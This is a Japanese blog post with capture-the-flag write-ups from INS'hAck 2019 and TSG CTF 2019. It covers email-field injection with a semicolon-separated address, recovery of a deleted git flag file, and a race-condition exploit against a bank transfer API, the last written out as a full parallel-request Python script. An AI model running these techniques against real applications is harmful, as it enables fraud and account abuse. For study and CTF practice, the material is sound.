こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

INS'hAck 2019 Writeup - atchap

Question

This is a message to all ATchap employees. Our new communication software is now in a beta mode.
To register, just enter you email address, you'll receive shortly the activation code.

https://atchap.ctf.insecurity-insa.fr

f:id:graneed:20190506020534p:plain

Solution

emailアドレスを入力する画面。

適当なフリーメールサービスを使用してメールアドレスを払い出す。
(私はいつも以下のサービスを使っている。)
✉ Guerrilla Mail - Disposable Temporary E-Mail Address

払い出されたメールアドレスを入力するが、You're not whitelisted or not part of the company..のメッセージ。

トップ画面の下部にContact us at firstname.lastname@almosttchap.frのメッセージがある。
また、3名の従業員のfirstnameとlastnameの情報もトップ画面にある。

うち1名の情報からsamira.bien@almosttchap.frのメールアドレスを組み立てる。
こちらを入力すると、You're not using your official address..のメッセージとなり、レスポンスが変わった。

メールアドレスのバリデーションチェックは突破していそうだ。
末尾が@almosttchap.frであることをチェックしていると仮定。

そこで、先ほど払い出されたメールアドレスと、samira.bien@almosttchap.frセミコロンで区切って入力してみる。

<自分のメールアドレス>;samira.bien@almosttchap.fr

ただ、画面の入力項目のtypeがemailになっているため、;記号をsubmitできない。
そこで、Chromeの開発者ツールのコンソールでdocument.getElementById("email").type = "text"を実行し、入力チェックを無効化してsubmitする。

Mail sent, check your spam folder and wait up to 5 minutesのメッセ―ジが返ってきた。

メールボックスを確認するとメールが届いていた。

Welcome to societe
From: inshack.mail1@gmail.com, To: lrytjsgx, Date 2019-05-04 06:29:08

Here is your flag : INSA{1fd9fa56444a424d}
. Remember to make responsible disclosure ;)

フラグゲット
INSA{1fd9fa56444a424d}

TSG CTF 2019 Writeup - Obliterated File, Obliterated File Again

Obliterated File

Question

※ This problem has unintended solution, fixed as "Obliterated File Again". Original problem statement is below.

Working on making a problem of TSG CTF, I noticed that I have staged and committed the flag file by mistake before I knew it.
I googled and found the following commands, so I'm not sure but anyway typed them. It should be ok, right?

※ この問題は非想定な解法があり,"Obliterated File Again" で修正されました.元の問題文は以下の通りです.

TSG CTFに向けて問題を作っていたんですが,いつの間にか誤ってflagのファイルをコミットしていたことに気付いた!
とにかく,Google先生にお伺いして次のようなコマンドを打ちこみました.よくわからないけどこれできっと大丈夫...?

$ git filter-branch --index-filter "git rm -f --ignore-unmatch problem/flag" --prune-empty -- --all
$ git reflog expire --expire=now --all
$ git gc --aggressive --prune=now
Difficulty Estimate: easy

Solution

添付ファイルを展開すると、.gitを含むファイル群。

.git/objects配下を適当にgit cat-file -p <ハッシュ>で表示するがフラグは見つからない。
packファイルがあったので、packファイルをunpackする。
以下の記事を参考にした。

qiita.com

root@kali:~/Contest/TSGCTF2019/easy_web# cd /tmp/

root@kali:/tmp# git init newrepo
Initialized empty Git repository in /tmp/newrepo/.git/

root@kali:/tmp# cd newrepo/

# unpackする
root@kali:/tmp/newrepo# git unpack-objects < ~/Contest/TSGCTF2019/easy_web/.git/objects/pack/pack-358c51ff6239c4616442ad260a7f71391fec6fc2.pack
Unpacking objects: 100% (99/99), done.

# objects配下に大量のファイルが展開されていることを確認する
root@kali:/tmp/newrepo# ll .git/objects/*/*
-r--r--r-- 1 root root 193 May  5 10:41 .git/objects/00/ba81bd54c79a5e712435ee9ecd2b2d8585917c
-r--r--r-- 1 root root 313 May  5 10:41 .git/objects/02/d365359d84a5d4f4317fa3549fe073a024c502
-r--r--r-- 1 root root 160 May  5 10:41 .git/objects/03/afe118213dd7af1979e70f12d1deca4d3d5477
(snip)

# cat-fileするためにハッシュに加工する
root@kali:/tmp/newrepo# ll .git/objects/*/* | sed 's@.*objects@@' | sed 's@/@@g'
00ba81bd54c79a5e712435ee9ecd2b2d8585917c
02d365359d84a5d4f4317fa3549fe073a024c502
03afe118213dd7af1979e70f12d1deca4d3d5477
(snip)

root@kali:/tmp/newrepo# mkdir export

# objects配下の全ファイルをcat-fileで生成
root@kali:/tmp/newrepo# for object in `ll .git/objects/*/* | sed 's@.*objects@@' | sed 's@/@@g'`; do git cat-file -p $object > ./export/$object; done

root@kali:/tmp/newrepo# ll export/
total 392
-rw-r--r-- 1 root root  230 May  5 10:51 00ba81bd54c79a5e712435ee9ecd2b2d8585917c
-rw-r--r-- 1 root root  458 May  5 10:51 02d365359d84a5d4f4317fa3549fe073a024c502
-rw-r--r-- 1 root root  218 May  5 10:51 03afe118213dd7af1979e70f12d1deca4d3d5477
(snip)

# flagでgrepすると111eb967d40ae9bc7b2d16bbab7aaac5746ba1dcにフラグがありそう
root@kali:/tmp/newrepo# grep flag export/*
export/02d365359d84a5d4f4317fa3549fe073a024c502:flag = File.open("./flag", "r") do |f|
export/02d365359d84a5d4f4317fa3549fe073a024c502:    db.exec "INSERT INTO accounts VALUES ('admin', '#{flag}');"
export/6eec6e57cc9eb5aa67f09fb73bdb3b933d7fdded:The flag is admin's password.
export/8ce8f78879f344df4e079a81048e7e18fdb29fed:100644 blob 111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc    flag
export/b8b02f91a5b2407cb4014c81440ce7620c4830bc:100644 blob 111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc    flag
export/c9319554ea383df062bafa9e96915ffe62136457:100644 blob 111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc    flag
export/e518bb214047db324b2e9b09d5617d84c6cc4ebf:100644 blob 111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc    flag
export/ebc4754f23719c17eedf24af0187be86b52e71d2:flag = File.open("./flag", "r") do |f|
export/ebc4754f23719c17eedf24af0187be86b52e71d2:    db.exec "INSERT INTO accounts VALUES ('admin', '#{flag}');"

root@kali:/tmp/newrepo# file export/111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc
export/111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc: zlib compressed data

# zlib圧縮ファイルであるため展開
root@kali:/tmp/newrepo# printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" |cat - ./export/111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc | gzip -dc > flag
gzip: stdin: unexpected end of file

root@kali:/tmp/newrepo# cat flag
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}`

フラグゲット
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}

Obliterated File Again

Question

I realized that the previous command had a mistake. It should be right this time...?

さっきのコマンドには間違いがあったことに気づきました.これで今度こそ本当に,本当に大丈夫なはず......?

$ git filter-branch --index-filter "git rm -f --ignore-unmatch *flag" --prune-empty -- --all
$ git reflog expire --expire=now --all
$ git gc --aggressive --prune=now
Difficulty Estimate: easy - medium

Solution

Obliterated File と全く同じ手順でフラグゲットできた。
Obliterated Fileが想定外の解法だった?

TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m}

TSG CTF 2019 Writeup - Secure Bank

Question

I came up with more secure technique to store user list.
Even if a cracker could dump it, now it should be of little value!!!
http://34.85.75.40:19292/

ユーザ情報を保存するのに、もっとセキュアな方法を思いついた気がしなくもない。 
仮に全部ダンプされてしまったとしても、かなり無価値になりそうでは。
http://34.85.75.40:19292/

Difficulty estimate: Easy

f:id:graneed:20190504225955p:plain

Solution

アカウントを作成してログインすると以下の画面。

f:id:graneed:20190504230630p:plain

別アカウント名を指定して送金できるようだ。

一旦、トップに戻ってsourceリンクからソースコードを確認する。

require 'digest/sha1'
require 'rack/contrib'
require 'sinatra/base'
require 'sinatra/json'
require 'sqlite3'

STRETCH = 1000
LIMIT   = 1000

class App < Sinatra::Base
  DB = SQLite3::Database.new 'data/db.sqlite3'
  DB.execute <<-SQL
    CREATE TABLE IF NOT EXISTS account (
      user TEXT PRIMARY KEY,
      pass TEXT,
      balance INTEGER
    );
  SQL

  use Rack::PostBodyContentTypeParser
  enable :sessions

  def err(code, message)
    [code, json({message: message})]
  end

  not_found do
    redirect '/index.html', 302
  end

  get '/source' do
    content_type :text

    IO.binread __FILE__
  end

  get '/api/flag' do
    return err(401, 'login first') unless user = session[:user]

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user
    row = res.next
    balance = row && row[0]
    res.close

    return err(401, 'login first') unless balance
    return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000

    json({flag: IO.binread('data/flag.txt')})
  end

  post '/api/balance' do
    return err(401, 'login first') unless user = session[:user]

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
    res = DB.query('SELECT balance FROM account WHERE user = ?', hashed_user)
    row = res.next
    res.close

    return err(401, 'login first') unless row

    json({balance: row[0]})
  end

  post '/api/register' do
    return err(400, 'bad request') unless user = params[:user] and String === user
    return err(400, 'bad request') unless pass = params[:pass] and String === pass

    return err(400, 'too short username') unless 4 <= user.size
    return err(400, ':thinking_face: 🤔') unless 6 <= pass.size
    return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT

    sleep 1

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
    hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)}

    begin
      DB.execute 'INSERT INTO account (user, pass, balance) VALUES (?, ?, 100)', hashed_user, hashed_pass
    rescue SQLite3::ConstraintException
      return err(422, 'the username has already been taken')
    end

    return 200
  end

  post '/api/login' do
    return err(400, 'bad request') unless user = params[:user] and String === user
    return err(400, 'bad request') unless pass = params[:pass] and String === pass

    return err(400, 'too short username') unless 4 <= user.size
    return err(400, ':thinking_face: 🤔') unless 6 <= pass.size
    return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
    hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT 1 FROM account WHERE user = ? AND pass = ?', hashed_user, hashed_pass
    row = res.next
    res.close

    return err(401, 'username and password did not match') unless row

    session[:user] = user
    return 200
  end

  post '/api/logout' do
    session[:user] = nil
    return 200
  end

  post '/api/transfer' do
    return err(401, 'login first') unless src = session[:user]

    return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src
    return err(400, 'bad request') unless amount = params[:amount] and String === amount
    return err(400, 'bad request') unless amount = amount.to_i and amount > 0

    sleep 1

    hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)}
    hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src
    row = res.next
    balance_src = row && row[0]
    res.close
    return err(422, 'no enough coins') unless balance_src >= amount

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst
    row = res.next
    balance_dst = row && row[0]
    res.close
    return err(422, 'no such user') unless balance_dst

    balance_src -= amount
    balance_dst += amount

    DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_src, hashed_src
    DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_dst, hashed_dst

    json({amount: amount, balance: balance_src})
  end
end

以下のことがわかる。

  • balanceが10,000,000,000を超えたらflagをゲットできる。
  • usernameとpasswordに対してSHA1のハッシュ計算を1000回かけてからDBに保存している。
  • APIは以下の6種類。
    • /api/flag ・・・flag取得
    • /api/balance・・・balanceの確認
    • /api/register・・・アカウント登録
    • /api/login・・・ログイン
    • /api/logout・・・ログアウト
    • /api/transfer・・・送金

/api/transferを眺めると、いわゆるトランザクション処理が無いことに気付く。
よって、複数の送金処理を同時に実行し、「DBからbalanceの取得および減算/加算」と「減算/加算後のUPDATE」の実行順序を前後させることで、送金後のアカウントのbalanceを、送金前のbalanceの値で上書きできそうだ。

アカウントをA、B、Cの3つを用意し、
リクエスト1:A→Bに1だけ送金
リクエスト2:B→Cに全額送金
の処理を同時にリクエストする。その際、以下の処理順序になれば成功。

  1. リクエスト1:アカウントAとBのbalanceをDBから取得し、減算/加算。
  2. リクエスト2:アカウントBとCのbalanceをDBから取得し、減算/加算。
  3. リクエスト2:アカウントBとCのbalanceをDBに反映。アカウントBのbalanceは0になる。
  4. リクエスト1:アカウントAとBのbalanceをDBに反映。アカウントBのbalanceは元のbalanceから1増えた値になる。

この処理を自動化するスクリプトは以下のとおり。
requestsを並列で実行するために、以下の記事を参考にした。
pod.hatenablog.com

import requests
import json
import asyncio

# 3つのアカウントのセッション情報をあらかじめ用意
session_keep='BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRWNiMTJkNmE0NmRlZmJjYjMxYzZi%0ANTQ3NTI4Mzc3ZGQxODQyYTY5MTVmNGVkOTViNzY4Mjg4YTlmZmM3ZGU3OWQG%0AOwBGSSIJY3NyZgY7AEZJIjF6S0VZM0JWT0ltTDF2SlJvbjAvYVFvVnRWdDRF%0ATUsrb0VIVEdIMGJzcWs0PQY7AEZJIg10cmFja2luZwY7AEZ7BkkiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1kZTEzMjYyNGE2YmIyODliNzU0M2E5Mzk2NmUy%0ANTY2MWE3MmUzZmJiBjsARkkiCXVzZXIGOwBGSSIMa2VlcG1hbgY7AFQ%3D%0A--f662dd8c27209302d22e70fc637d10234d1844b7'
session_transfer='BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRTY2NGEwMTRlYzZjOGIwYWEyZDlj%0ANzdjMTEzZjliYzA3Zjk4MGVjYTIwYjRlYjA3MDUzNDVlNDlhNDAwNmM1OGIG%0AOwBGSSIJY3NyZgY7AEZJIjFmUkh1dmVOdmhpNWlvd3FZcWtpdXdURzJuMnNP%0AcG5sWEM1YWpQcEo2bE1RPQY7AEZJIg10cmFja2luZwY7AEZ7BkkiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1kZTEzMjYyNGE2YmIyODliNzU0M2E5Mzk2NmUy%0ANTY2MWE3MmUzZmJiBjsARkkiCXVzZXIGOwBGSSIQdHJhbnNmZXJtYW4GOwBU%0A--a3e861b4da652c0fcbb68be5405ce39915ed80ca'
session_rich='BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRWZmMGJmNmYzM2Q0Y2VlYjk1NDI3%0AOTVkMzEyNDJhYzAxNDFlMjA0NTFmMWYwMzFjOTIxZjRlMWQyMmNmNzA3NDQG%0AOwBGSSIJY3NyZgY7AEZJIjFxazQzZUtya1g3eTN4dk16cHFuS2dGVkFkdUpj%0AVjRjWlR3REpLUzFXZkJjPQY7AEZJIg10cmFja2luZwY7AEZ7BkkiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1hMWYzODY1Yjk4MGRiYjBiNDdkYTAwYzJlZGEw%0ANzFkZWQ4ODE4NzBiBjsARkkiCXVzZXIGOwBGSSIOa2FuZW1vY2hpBjsAVA%3D%3D%0A--ff7c567d7d318aa01d18398d0cafdc8bad29cee2'

balanceurl = "http://34.85.75.40:19292/api/balance"
url = "http://34.85.75.40:19292/api/transfer"

def prepare():
    '''
    r = requests.post(
        url,
        data=json.dumps({
            'target':'keepman',
            'amount':'10'
        }),
        headers={
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
            'Content-Type': 'application/json',
            'Cookie': 'rack.session=' + session_rich
        }
    )
    '''

    r = requests.post(
        balanceurl,
        headers={
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
            'Content-Type': 'application/json',
            'Cookie': 'rack.session=' + session_rich
        }
    )
    data = r.json()
    ammount = str(data["balance"])

    r = requests.post(
        url,
        data=json.dumps({
            'target':'transferman',
            'amount':ammount
        }),
        headers={
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
            'Content-Type': 'application/json',
            'Cookie': 'rack.session=' + session_rich
        }
    )
    print(r.text)

    r = requests.post(
        balanceurl,
        headers={
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36',
            'Content-Type': 'application/json',
            'Cookie': 'rack.session=' + session_transfer
        }
    )
    data = r.json()
    ammount = str(data["balance"])
    return ammount

def keep():
    r = requests.post(
        url,
        data=json.dumps({
            'target':'transferman',
            'amount':'1'
        }),
        headers={
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36',
            'Content-Type': 'application/json',
            'Cookie': 'rack.session=' + session_keep
        }
    )
    print(r.text)

def transfer(ammount):
    r = requests.post(
        url,
        data=json.dumps({
            'target':'kanemochi',
            'amount':ammount
        }),
        headers={
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36',
            'Content-Type': 'application/json',
            'Cookie': 'rack.session=' + session_transfer
        }
    )
    print(r.text)

async def run(loop, ammount):
    async def run_req_keep():
        return await loop.run_in_executor(None, keep)
    async def run_req_transfer(ammount):
        return await loop.run_in_executor(None, transfer, ammount)

    tasks = []
    tasks.append(run_req_keep())
    tasks.append(run_req_keep())
    tasks.append(run_req_keep())
    tasks.append(run_req_keep())
    tasks.append(run_req_transfer(ammount))
    return await asyncio.gather(*tasks)

for i in range(1000):
    ammount = prepare()
    loop = asyncio.get_event_loop()
    loop.run_until_complete(run(loop, ammount))

あとはガチャの世界。
実行すると、処理順序が前後する度にbalanceが倍々になっていく。

実行ログ例

{"amount":1,"balance":258}
{"amount":1,"balance":256}
{"amount":1,"balance":257}
{"amount":46331405,"balance":1}
{"amount":1,"balance":259}
{"amount":46331405,"balance":0}
{"amount":1,"balance":254}
{"amount":1,"balance":252}
{"amount":1,"balance":253}
{"amount":92662811,"balance":2}
{"amount":1,"balance":255}
{"amount":92662811,"balance":0}

途中、接続エラーに何度かなるが、粘り強く実行していると、10,000,000,000を超える。

f:id:graneed:20190504225909p:plain

フラグゲット
TSGCTF{H4SH_FUNCTION_1S_NOT_INJ3C71V3... :(}

あれ?想定解と違った?

おまけ

自分が着手する前にDiscordで以下のアナウンスがあり、少々ビビりながら実行した。

f:id:graneed:20190505130021p:plain

f:id:graneed:20190505130041p:plain